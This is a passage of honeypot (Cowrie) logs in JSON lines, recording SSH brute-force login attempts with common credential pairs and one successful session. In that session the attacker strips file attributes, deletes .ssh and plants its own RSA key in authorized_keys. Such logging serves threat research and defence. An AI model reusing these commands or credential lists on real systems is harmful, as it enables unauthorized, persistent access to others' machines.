af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:42.222559Z","src_ip":"46.24.47.94","session":"e9bd3e18c3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer-1234","message":"login attempt [root/qwer-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:42.688790Z","src_ip":"46.24.47.94","session":"e9bd3e18c3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":36408,"dst_ip":"10.17.0.5","dst_port":22,"session":"735d4d6c6c39","protocol":"ssh","message":"New connection: 103.143.231.102:36408 (10.17.0.5:22) [session: 735d4d6c6c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:43.006265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:43.010912Z","src_ip":"103.143.231.102","session":"735d4d6c6c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:43.080714Z","src_ip":"103.143.231.102","session":"735d4d6c6c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tf2server","password":"tf2","message":"login attempt [tf2server/tf2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:43.396707Z","src_ip":"103.143.231.102","session":"735d4d6c6c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:43.800201Z","src_ip":"46.24.47.94","session":"e9bd3e18c3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:44.470204Z","src_ip":"103.143.231.102","session":"735d4d6c6c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":37264,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cebc3dc0513","protocol":"ssh","message":"New connection: 152.32.238.146:37264 (10.17.0.5:22) [session: 6cebc3dc0513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:58.141264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:58.145532Z","src_ip":"152.32.238.146","session":"6cebc3dc0513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:58.156303Z","src_ip":"152.32.238.146","session":"6cebc3dc0513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2019","message":"login attempt [ubuntu/ubuntu2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:58.242513Z","src_ip":"152.32.238.146","session":"6cebc3dc0513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:59.259409Z","src_ip":"152.32.238.146","session":"6cebc3dc0513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":44182,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0248e054650","protocol":"ssh","message":"New connection: 45.144.233.139:44182 (10.17.0.5:22) [session: e0248e054650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:08.702081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:08.708573Z","src_ip":"45.144.233.139","session":"e0248e054650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:08.805709Z","src_ip":"45.144.233.139","session":"e0248e054650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser","password":"tempuser","message":"login attempt [tempuser/tempuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:09.189167Z","src_ip":"45.144.233.139","session":"e0248e054650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:10.279861Z","src_ip":"45.144.233.139","session":"e0248e054650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":34108,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a19fba789b0","protocol":"ssh","message":"New connection: 152.32.238.146:34108 (10.17.0.5:22) [session: 4a19fba789b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:37.643772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:37.649267Z","src_ip":"152.32.238.146","session":"4a19fba789b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:37.672929Z","src_ip":"152.32.238.146","session":"4a19fba789b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"Aa123456","message":"login attempt [ec2-user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:37.768371Z","src_ip":"152.32.238.146","session":"4a19fba789b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":52988,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6b94a7e4d53","protocol":"ssh","message":"New connection: 103.143.231.102:52988 (10.17.0.5:22) [session: d6b94a7e4d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:38.733847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:38.739058Z","src_ip":"103.143.231.102","session":"d6b94a7e4d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:38.785403Z","src_ip":"152.32.238.146","session":"4a19fba789b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:38.809898Z","src_ip":"103.143.231.102","session":"d6b94a7e4d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456!","message":"login attempt [postgres/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:39.125020Z","src_ip":"103.143.231.102","session":"d6b94a7e4d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":50478,"dst_ip":"10.17.0.5","dst_port":22,"session":"5276c9ae2234","protocol":"ssh","message":"New connection: 46.24.47.94:50478 (10.17.0.5:22) [session: 5276c9ae2234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:39.842656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:39.848382Z","src_ip":"46.24.47.94","session":"5276c9ae2234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:39.957589Z","src_ip":"46.24.47.94","session":"5276c9ae2234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:40.198787Z","src_ip":"103.143.231.102","session":"d6b94a7e4d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Pa$$w0rd","message":"login attempt [ftpuser/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:40.434954Z","src_ip":"46.24.47.94","session":"5276c9ae2234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58668,"dst_ip":"10.17.0.5","dst_port":23,"session":"456aaa77a67f","protocol":"telnet","message":"New connection: 104.245.105.2:58668 (10.17.0.5:23) [session: 456aaa77a67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:41.151847Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:41.545350Z","src_ip":"46.24.47.94","session":"5276c9ae2234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":33974,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e2692caa69","protocol":"ssh","message":"New connection: 45.144.233.139:33974 (10.17.0.5:22) [session: 50e2692caa69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:54.802525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:54.807300Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:54.894597Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2020","message":"login attempt [admin/admin2020] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:55.275343Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:55.507600Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:55.511568Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:55.515932Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:55.607298Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:55.943429Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:55.946773Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
